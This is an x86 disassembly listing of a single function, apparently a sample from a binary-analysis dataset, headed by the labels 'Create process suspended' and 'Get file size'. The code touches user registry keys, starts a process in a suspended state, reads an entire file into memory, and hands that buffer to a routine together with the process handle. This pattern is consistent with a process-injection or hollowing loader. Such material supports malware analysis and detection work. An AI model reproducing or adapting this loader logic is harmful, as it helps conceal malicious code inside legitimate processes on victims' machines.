Function at 0x407164
Capabilities:
Create process on windows
Create process suspended
Get file size

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xd
push 0
push 0
dec ecx
jne 0x40716c
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x40796b
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.00402734
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 4]
call fcn.004053f8
xor esi, esi
mov ebx, dword [0x40a8e0]
lea eax, [ebp - 0x20]
mov edx, esi
push edx
mov dl, 0xff
pop ecx
sub dl, cl
call fcn.0040389c
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 4]
call fcn.00403be0
mov edi, eax
push ebx
mov ecx, edi
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00403b58
lea eax, [ebp - 4]
push eax
lea edx, [edi + 1]
mov ecx, 0x7fffffff
mov eax, dword [ebp - 4]
call fcn.00403b58
inc esi
add ebx, 4
cmp esi, 8
jne 0x4071a2
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.00402734
mov eax, dword [ebp - 0x24]
push eax
lea eax, [ebp - 0x28]
call fcn.00407094
mov edx, dword [ebp - 0x28]
pop eax
call fcn.00403a44
jne 0x407213
call fcn.0040368c
mov eax, dword [0x40a984]
mov dword [eax], 0x81
mov eax, dword [0x40a984]
push eax
mov eax, dword [0x40a9ec]
push eax
mov eax, dword [0x40a9ac]
mov eax, dword [eax]
call eax
push 0x105
mov eax, dword [0x40aa3c]
push eax
mov eax, dword [0x40a93c]
mov eax, dword [eax]
call eax
lea eax, [ebp - 0x2c]
mov edx, dword [0x40aa3c]
mov ecx, 0x105
call fcn.004038e8
mov edx, dword [ebp - 0x2c]
mov eax, dword [0x40a908]
mov ecx, 0x407984
call fcn.0040394c
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [0x40a8c8]
mov ecx, dword [ecx]
mov edx, dword [0x40a990]
mov edx, dword [edx]
lea eax, [ebp - 0x34]
call fcn.0040394c
mov edx, dword [ebp - 0x34]
mov ecx, dword [0x40a9f4]
mov ecx, dword [ecx]
mov eax, 0x80000001
call fcn.0040676c
mov edx, dword [ebp - 0x30]
mov eax, dword [0x40a8c0]
call fcn.004037d0
mov eax, dword [0x40a8c0]
mov eax, dword [eax]
call fcn.00403900
mov edx, dword [0x40a8c0]
mov edx, dword [edx]
cmp byte [edx + eax - 1], 0x5c
je 0x4072d9
mov eax, dword [0x40a8c0]
mov edx, 0x407984
call fcn.00403908
mov eax, dword [0x40a8c0]
mov eax, dword [0x40a8c0]
mov edx, dword [0x40a944]
mov edx, dword [edx]
call fcn.00403908
mov eax, dword [0x40a8c0]
mov ecx, dword [0x40a8e0]
mov ecx, dword [ecx]
mov edx, dword [0x40a8c0]
mov edx, dword [edx]
mov eax, dword [0x40a924]
call fcn.0040394c
mov ecx, dword [0x40a8e0]
mov ecx, dword [ecx + 4]
mov edx, dword [0x40a8c0]
mov edx, dword [edx]
mov eax, dword [0x40aa38]
call fcn.0040394c
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [0x40a8c8]
mov ecx, dword [ecx]
mov edx, dword [0x40a990]
mov edx, dword [edx]
lea eax, [ebp - 0x38]
call fcn.0040394c
mov edx, dword [ebp - 0x38]
mov ecx, 0x407990
mov eax, 0x80000001
call fcn.0040676c
cmp dword [ebp - 0x18], 0
je 0x40738a
mov eax, dword [ebp - 0x18]
call fcn.00403900
mov edx, dword [ebp - 0x18]
cmp byte [edx + eax - 1], 0x5c
je 0x407378
lea eax, [ebp - 0x18]
mov edx, 0x407984
call fcn.00403908
lea eax, [ebp - 0x18]
mov edx, dword [0x40a8e0]
mov edx, dword [edx]
call fcn.00403908
jmp 0x407397
mov eax, dword [0x40a8e0]
add eax, 0x18
call fcn.0040377c
mov eax, dword [0x40a8e0]
mov eax, dword [eax + 0x18]
mov edx, 0x4079a0
call fcn.00403a44
jne 0x4073f7
lea edx, [ebp - 0x3c]
xor eax, eax
call fcn.00402734
mov edx, dword [ebp - 0x3c]
mov eax, dword [0x40a924]
mov eax, dword [eax]
call fcn.00403a44
je 0x4073f7
lea edx, [ebp - 0x40]
xor eax, eax
call fcn.00402734
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
call fcn.00403a44
je 0x4073f7
lea edx, [ebp - 0x44]
xor eax, eax
call fcn.00402734
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x18]
call fcn.004066a4
jmp 0x40780d
mov eax, dword [0x40a8e0]
mov eax, dword [eax + 0x18]
mov edx, 0x4079a0
call fcn.00403a44
jne 0x407434
lea edx, [ebp - 0x48]
xor eax, eax
call fcn.00402734
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
call fcn.00403a44
jne 0x407434
mov eax, dword [0x40a8e0]
add eax, 8
mov edx, 0x4079a0
call fcn.004037d0
lea edx, [ebp - 0x4c]
xor eax, eax
call fcn.00402734
mov eax, dword [ebp - 0x4c]
mov edx, dword [0x40a924]
mov edx, dword [edx]
call fcn.004066a4
lea edx, [ebp - 0x50]
xor eax, eax
call fcn.00402734
mov eax, dword [ebp - 0x50]
mov edx, dword [0x40a924]
mov edx, dword [edx]
call fcn.00403a44
je 0x40749c
mov eax, dword [0x40a8e0]
cmp dword [eax + 0x1c], 0
je 0x40749c
mov edx, dword [0x40a924]
mov edx, dword [edx]
lea eax, [ebp - 0x54]
mov ecx, 0x4079ac
call fcn.0040394c
mov eax, dword [ebp - 0x54]
mov edx, 0x20
call fcn.00406610
jmp 0x40780d
lea edx, [ebp - 0x58]
mov eax, 1
call fcn.00402734
mov eax, dword [ebp - 0x58]
mov edx, 0x4079b8
call fcn.00403a44
jne 0x4074d0
mov eax, dword [0x40a8e0]
mov eax, dword [eax + 0x1c]
call fcn.00406334
imul eax, eax, 0xea60
call fcn.00406080
push 0
mov eax, dword [0x40a98c]
mov eax, dword [eax]
call fcn.00403af8
push eax
mov eax, dword [0x40a9b8]
mov eax, dword [eax]
call eax
test eax, eax
je 0x4075f1
lea eax, [ebp - 0x5c]
push eax
mov ecx, dword [0x40a8d8]
mov ecx, dword [ecx]
mov edx, dword [0x40aa1c]
mov edx, dword [edx]
mov eax, 0x80000001
call fcn.0040676c
mov eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0x14]
mov dx, 0xc
call fcn.00405b98
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 0x14]
mov eax, 0x407984
call fcn.00406580
mov edx, eax
inc edx
mov ecx, 0x104
mov eax, dword [ebp - 0x14]
call fcn.00403b58
lea edx, [ebp - 0x60]
xor eax, eax
call fcn.00402734
mov eax, dword [ebp - 0x60]
call fcn.00403af8
push eax
mov eax, dword [ebp - 0x14]
call fcn.00403af8
push eax
call sub.kernel32.dll_lstrcmpiA
test eax, eax
je 0x4075ec
mov eax, dword [0x40a8e0]
mov eax, dword [eax]
call fcn.00403af8
push eax
mov eax, dword [ebp - 8]
call fcn.00403af8
push eax
call sub.kernel32.dll_lstrcmpiA
test eax, eax
je 0x4075ec
cmp dword [ebp - 0x14], 0
je 0x4075ec
mov eax, dword [0x40a8fc]
mov eax, dword [eax]
call fcn.00403af8
push eax
mov eax, dword [0x40a938]
mov eax, dword [eax]
call eax
mov edx, dword [0x40aa44]
mov word [edx], ax
mov eax, dword [0x40aa44]
cmp word [eax], 0
je 0x4075f1
push 0x12c
call sub.kernel32.dll_Sleep
mov eax, dword [0x40a8fc]
mov eax, dword [eax]
call fcn.00403af8
push eax
mov eax, dword [0x40a930]
mov eax, dword [eax]
call eax
mov edx, dword [0x40aa44]
mov word [edx], ax
mov eax, dword [0x40aa44]
cmp word [eax], 0
jne 0x4075b6
jmp 0x4075f1
call fcn.0040368c
mov eax, dword [0x40a964]
cmp byte [eax], 0
je 0x407652
mov eax, dword [0x40a9c0]
mov edx, 0x44
call fcn.00404da4
mov eax, dword [0x40a9c0]
mov dword [eax], 0x44
mov eax, dword [0x40aa10]
push eax
mov eax, dword [0x40a9c0]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [0x40a8f4]
mov eax, dword [eax]
call fcn.00403af8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
mov eax, dword [0x40aa10]
mov eax, dword [eax]
mov edx, dword [0x40a970]
mov dword [edx], eax
jmp 0x4076bd
push 0xc8
call sub.kernel32.dll_Sleep
push 0
mov eax, dword [0x40a8dc]
mov eax, dword [eax]
call fcn.00403af8
push eax
mov eax, dword [0x40a9b8]
mov eax, dword [eax]
call eax
test eax, eax
jbe 0x407652
mov eax, dword [0x40a8bc]
push eax
push 0
mov eax, dword [0x40a8dc]
mov eax, dword [eax]
call fcn.00403af8
push eax
mov eax, dword [0x40a9b8]
mov eax, dword [eax]
call eax
push eax
mov eax, dword [0x40a8cc]
mov eax, dword [eax]
call eax
mov eax, dword [0x40a8bc]
mov eax, dword [eax]
push eax
push 0
push 0x2b
mov eax, dword [0x40aa18]
mov eax, dword [eax]
call eax
mov edx, dword [0x40a970]
mov dword [edx], eax
call fcn.004061f8
push 0xc8
call sub.kernel32.dll_Sleep
lea ecx, [ebp - 8]
mov eax, dword [0x40a924]
mov eax, dword [eax]
mov dx, 0xc
call fcn.00406104
push 1
lea eax, [ebp - 0x64]
mov ecx, 0x4079c4
mov edx, dword [ebp - 8]
call fcn.0040394c
mov eax, dword [ebp - 0x64]
call fcn.00403af8
push eax
mov eax, dword [ebp - 8]
call fcn.00403900
inc eax
push eax
mov ecx, dword [0x40a998]
mov ecx, dword [ecx]
mov edx, dword [0x40aa1c]
mov edx, dword [edx]
mov eax, 0x80000001
call fcn.004062cc
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [0x40aa38]
mov eax, dword [eax]
call fcn.00403af8
push eax
mov eax, dword [0x40a9cc]
mov eax, dword [eax]
call eax
mov edx, dword [0x40aa28]
mov dword [edx], eax
push 0
mov eax, dword [0x40aa28]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetFileSize_1
mov edx, dword [0x40a9f8]
mov dword [edx], eax
mov eax, dword [0x40a9f8]
mov eax, dword [eax]
call fcn.004024d8
mov edx, dword [0x40a8ec]
mov dword [edx], eax
push 0
mov eax, dword [0x40a9d4]
push eax
mov eax, dword [0x40a9f8]
mov eax, dword [eax]
push eax
mov eax, dword [0x40a8ec]
mov eax, dword [eax]
push eax
mov eax, dword [0x40aa28]
mov eax, dword [eax]
push eax
mov eax, dword [0x40aa14]
mov eax, dword [eax]
call eax
mov eax, dword [0x40aa28]
mov eax, dword [eax]
push eax
mov eax, dword [0x40a8d4]
mov eax, dword [eax]
call eax
mov edx, dword [0x40a8ec]
mov edx, dword [edx]
mov eax, dword [0x40a970]
mov eax, dword [eax]
call fcn.00406e88
push 0xc8
call sub.kernel32.dll_Sleep
mov eax, dword [0x40aa38]
mov eax, dword [eax]
call fcn.00406388
mov eax, dword [0x40a8e0]
mov eax, dword [eax + 0x18]
mov edx, 0x4079a0
call fcn.00403a44
jne 0x40780d
lea edx, [ebp - 0x68]
xor eax, eax
call fcn.00402734
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x18]
call fcn.00403a44
jne 0x40780d
call fcn.00405e3c
mov eax, dword [0x40a924]
mov eax, dword [eax]
call fcn.00403af8
push eax
lea edx, [ebp - 0x6c]
xor eax, eax
call fcn.00402734
mov eax, dword [ebp - 0x6c]
call fcn.00403af8
push eax
call sub.kernel32.dll_lstrcmpiA
test eax, eax
je 0x407950
mov eax, dword [0x40a8e0]
cmp dword [eax + 0x10], 0
je 0x407940
lea eax, [ebp - 0x10]
push eax
mov edx, dword [0x40a8e0]
mov edx, dword [edx + 0x10]
mov eax, 0x4079d0
call fcn.00403be0
mov ecx, eax
dec ecx
mov eax, dword [0x40a8e0]
mov eax, dword [eax + 0x10]
mov edx, 1
call fcn.00403b58
mov eax, dword [0x40a8e0]
add eax, 0x10
push eax
mov edx, dword [0x40a8e0]
mov edx, dword [edx + 0x10]
mov eax, 0x4079d0
call fcn.00403be0
mov edx, eax
inc edx
mov eax, dword [0x40a8e0]
mov eax, dword [eax + 0x10]
mov ecx, 0x3e8
call fcn.00403b58
lea eax, [ebp - 8]
push eax
mov edx, dword [0x40a8e0]
mov edx, dword [edx + 0x10]
mov eax, 0x4079d0
call fcn.00403be0
mov ecx, eax
dec ecx
mov eax, dword [0x40a8e0]
mov eax, dword [eax + 0x10]
mov edx, 1
call fcn.00403b58
mov eax, dword [0x40a8e0]
add eax, 0x10
push eax
mov edx, dword [0x40a8e0]
mov edx, dword [edx + 0x10]
mov eax, 0x4079d0
call fcn.00403be0
mov edx, eax
inc edx
mov eax, dword [0x40a8e0]
mov eax, dword [eax + 0x10]
mov ecx, 0x3e8
call fcn.00403b58
lea eax, [ebp - 0xc]
push eax
mov eax, dword [0x40a8e0]
mov eax, dword [eax + 0x10]
mov ecx, 2
mov edx, 1
call fcn.00403b58
mov eax, dword [ebp - 0xc]
call fcn.00406334
push eax
mov eax, dword [ebp - 0x10]
call fcn.00403af8
push eax
mov eax, dword [ebp - 8]
call fcn.00403af8
push eax
push 0
call sub.user32.dll_MessageBoxA_1
mov eax, dword [0x40a8e0]
cmp dword [eax + 8], 0
je 0x407950
call fcn.00405e3c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407972
lea eax, [ebp - 0x6c]
mov edx, 0x1b
call fcn.004037a0
ret